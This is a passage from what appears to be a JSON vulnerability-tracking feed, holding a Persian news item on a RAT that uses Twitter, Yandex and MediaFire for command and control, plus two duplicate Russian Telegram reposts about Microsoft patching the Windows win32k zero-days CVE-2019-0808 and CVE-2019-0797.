\n\n\u0627\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0628\u0633\u062a\u0631 \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0628\u0633\u06cc\u0627\u0631 \u067e\u06cc\u0686\u06cc\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0642\u0627\u0646\u0648\u0646\u06cc \u062c\u0644\u0648\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0646\u0647 \u062a\u0646\u0647\u0627 \u0645\u0633\u062f\u0648\u062f \u06a9\u0631\u062f\u0646 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u062f\u0631 \u06cc\u06a9 \u0634\u0628\u06a9\u0647\u200c\u06cc \u0633\u0627\u0632\u0645\u0627\u0646\u06cc \u0634\u062f\u0646\u06cc \u0646\u06cc\u0633\u062a \u0686\u0631\u0627 \u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u067e\u0631\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0647\u0633\u062a\u0646\u062f \u0628\u0644\u06a9\u0647 \u0627\u06cc\u0646 \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627 \u0645\u0628\u062a\u0646\u06cc \u0628\u0631 HTTPS \u0628\u0648\u062f\u0647 \u0648 \u06a9\u0634\u0641 \u0627\u0644\u06af\u0648 \u0628\u0631\u0627\u06cc \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u0622\u0646\u200c\u0647\u0627 \u0628\u0633\u06cc\u0627\u0631 \u0633\u062e\u062a \u0627\u0633\u062a. \n\n\u067e\u0633 \u0627\u0632 \u0627\u0646\u062c\u0627\u0645 \u062a\u062c\u0632\u06cc\u0647 \u0648 \u062a\u062d\u0644\u06cc\u0644\u200c\u0647\u0627\u060c \u0645\u062d\u0642\u0642\u0627\u0646 \u062f\u0631\u06cc\u0627\u0641\u062a\u0646\u062f \u06a9\u0647 \u0627\u06cc\u0646 RAT \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u06cc\u06a9\u0633\u200c\u067e\u06cc \u06a9\u0627\u0631 \u0646\u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0627\u062c\u0631\u0627 \u062f\u0631 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0648 \u0648\u062c\u0648\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u062a\u062d\u0644\u06cc\u0644 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0622\u0644\u0648\u062f\u0647 \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \u0627\u06af\u0631 \u0686\u0646\u06cc\u0646 \u0627\u0628\u0632\u0627\u0631\u0647\u0627\u06cc\u06cc \u062a\u0634\u062e\u06cc\u0635 \u062f\u0627\u062f\u0647 \u0634\u0648\u062f\u060c \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0628\u0647 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u062c\u0639\u0644\u06cc \u0633\u0648\u0626\u06cc\u0686 \u06a9\u0631\u062f\u0647 \u0648 \u062a\u0631\u0627\u0641\u06cc\u06a9 HTTP \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0628\u0631\u0627\u06cc \u0628\u0631\u0642\u0631\u0627\u0631\u06cc \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0628\u0633\u062a\u0631\u0647\u0627\u06cc \u062f\u0633\u062a\u0648\u0631 \u0648 \u06a9\u0646\u062a\u0631\u0644\u060c \u0627\u06cc\u0646 RAT \u0627\u0632 \u06f1\u06f2 \u0631\u0645\u0632\u0648\u0627\u0631\u0647\u200c\u06cc \u0647\u0627\u0631\u062f\u06a9\u062f\u0634\u062f\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u062f. (\u06f7 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0648\u0627\u0633\u0637 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0646\u0648\u06cc\u0633\u06cc \u062a\u0648\u06cc\u06cc\u062a\u0631\u060c \u06f4 \u0631\u0645\u0632\u0648\u0627\u0631\u0647 \u0628\u0631\u0627\u06cc Yandex \u0648 \u06cc\u06a9\u06cc \u0628\u0631\u0627\u06cc \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631) \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u0642\u0627\u062f\u0631 \u0627\u0633\u062a \u0627\u0632 \u0631\u0648\u06cc \u0622\u062e\u0631\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u062f\u0631 \u062d\u0633\u0627\u0628\u200c\u0647\u0627\u06cc \u0645\u062e\u0631\u0628\u060c \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0631\u0627 \u062e\u0648\u0627\u0646\u062f\u0647 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062a\u0648\u06cc\u06cc\u062a \u0627\u0631\u0633\u0627\u0644 \u06a9\u0646\u062f. \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u062f\u0647\u200c\u0647\u0627\u06cc \u0628\u0647 \u0633\u0631\u0642\u062a \u0628\u0631\u062f\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u0628\u0631 \u0631\u0648\u06cc \u0628\u0633\u062a\u0631 \u0627\u064e\u0628\u0631 Yandex \u0648 \u0645\u062f\u06cc\u0627\u0641\u0627\u06cc\u0631 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0645\u06cc\u200c\u06a9\u0646\u062f. \n\n\u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0642\u0627\u0628\u0644\u06cc\u062a \u06a9\u06cc\u200c\u0644\u0627\u06af\u0631 \u0628\u0648\u062f\u0647 \u0648 \u062f\u0631 \u0628\u0631\u062e\u06cc \u0646\u0645\u0648\u0646\u0647\u200c\u0647\u0627\u060c \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0627\u0633\u06a9\u0631\u06cc\u0646\u200c\u0634\u0627\u062a \u0627\u0632 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u062a\u0647\u06cc\u0647 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0645\u062d\u0642\u0642\u0627\u0646 \u062a\u0627\u0644\u0648\u0633 \u0645\u06cc\u200c\u06af\u0648\u06cc\u0646\u062f \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u067e\u0634\u062a \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0627\u0646\u06af\u06cc\u0632\u0647\u200c\u06cc \u0628\u0627\u0644\u0627\u06cc\u06cc \u0647\u0633\u062a\u0646\u062f \u0648 \u0627\u0632 \u0646\u0648\u0622\u0648\u0631\u06cc\u200c\u0647\u0627\u06cc \u062e\u0648\u0628\u06cc \u0628\u0647\u0631\u0647 \u0628\u0631\u062f\u0647\u200c\u0627\u0646\u062f. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06cc\u0646 \u0628\u062f\u0627\u0641\u0632\u0627\u0631 \u062f\u0627\u0631\u0627\u06cc \u0648\u06cc\u0698\u06af\u06cc\u200c\u0647\u0627\u06cc \u0639\u062c\u06cc\u0628 \u0648 \u063a\u0631\u06cc\u0628 \u062f\u06cc\u06af\u0631\u06cc \u0646\u06cc\u0632 \u0647\u0633\u062a \u0628\u0647\u200c\u0637\u0648\u0631\u06cc\u200c\u06a9\u0647 \u0627\u06af\u0631 \u062f\u0631 \u06cc\u06a9 \u0645\u062d\u06cc\u0637 \u062c\u0639\u0628\u0647 \u0634\u0646\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a\u200c\u0647\u0627\u06cc \u0642\u0627\u0646\u0648\u0646\u06cc \u0631\u0627 \u0628\u0647 \u0633\u0645\u062a \u0648\u0628\u200c\u06af\u0627\u0647\u200c\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f \u0622\u0645\u0627\u0632\u0648\u0646 \u0627\u0631\u0633\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u062f.", "creation_timestamp": "2026-07-26T07:02:07.515526Z"}, {"uuid": "9dbcb7de-167a-46e0-9882-4a972ca04a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://t.me/timcore_hacking/287", "content": "Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 0Day-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows\n\nMicrosoft \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 64 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 26 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u0433\u043e \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 64 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 2 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u041e\u0421 Windows, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 CVE-2019-0808 \u0438 CVE-2019-0797. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u044b Google \u043d\u0430 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0435. \u0414\u0430\u043d\u043d\u044b\u0439 \u0431\u0430\u0433 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 \u044f\u0434\u0440\u0430 Windows win32k.sys, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0435\u0440\u0441\u0438\u044e Windows 7, \u0442\u0430\u043a \u043a\u0430\u043a \u0432 Windows 8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u041e\u0421 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043c\u0435\u0440\u044b \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u041f\u043e\u043a\u0430 \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0430\u0442\u0430\u043a\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 32-\u0440\u0430\u0437\u0440\u044f\u0434\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Windows 7.\n\n\u0412\u0442\u043e\u0440\u0430\u044f 0Day-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k \u0438, \u043a\u0430\u043a \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430. \u041f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c, \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Windows 10. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u043f\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 FruityArmor \u0438 SandCat.\n\n\u041a\u0440\u043e\u043c\u0435 \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b \u0442\u0440\u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2019-0697, CVE-2019-0698 \u0438 CVE-2019-0726) \u0432 DHCP-\u043a\u043b\u0438\u0435\u043d\u0442\u0435 Windows, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0445 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.securitylab.ru/news/498333.php", "creation_timestamp": "2026-07-26T12:00:04.290428Z"}, {"uuid": "98020803-85ab-4e2e-b92d-0a71e116ec0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-0808", "type": "seen", "source": "https://t.me/timcore_hacking/287", "content": "Microsoft \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0434\u0432\u0435 0Day-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Windows\n\nMicrosoft \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 64 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 26 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u0412 \u0440\u0430\u043c\u043a\u0430\u0445 \u043c\u0430\u0440\u0442\u043e\u0432\u0441\u043a\u043e\u0433\u043e \u00ab\u0432\u0442\u043e\u0440\u043d\u0438\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439\u00bb Microsoft \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043f\u0430\u043a\u0435\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0445 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 64 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 2 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u041e\u0421 Windows, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 CVE-2019-0808 \u0438 CVE-2019-0797. \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u044b Google \u043d\u0430 \u043c\u0438\u043d\u0443\u0432\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0435. \u0414\u0430\u043d\u043d\u044b\u0439 \u0431\u0430\u0433 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 \u044f\u0434\u0440\u0430 Windows win32k.sys, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u0432\u044b\u0439\u0442\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0435\u0440\u0441\u0438\u044e Windows 7, \u0442\u0430\u043a \u043a\u0430\u043a \u0432 Windows 8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0445 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 \u041e\u0421 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043c\u0435\u0440\u044b \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u0430\u0442\u0430\u043a. \u041f\u043e\u043a\u0430 \u0431\u044b\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0430\u0442\u0430\u043a\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 32-\u0440\u0430\u0437\u0440\u044f\u0434\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Windows 7.\n\n\u0412\u0442\u043e\u0440\u0430\u044f 0Day-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 Win32k \u0438, \u043a\u0430\u043a \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430. \u041f\u0440\u043e\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c, \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0441 \u043f\u043e\u043b\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Windows 10. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u00ab\u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e\u00bb \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u043f\u043d\u044b\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 FruityArmor \u0438 SandCat.\n\n\u041a\u0440\u043e\u043c\u0435 \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0442\u0430\u043a\u0436\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b \u0442\u0440\u0438 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 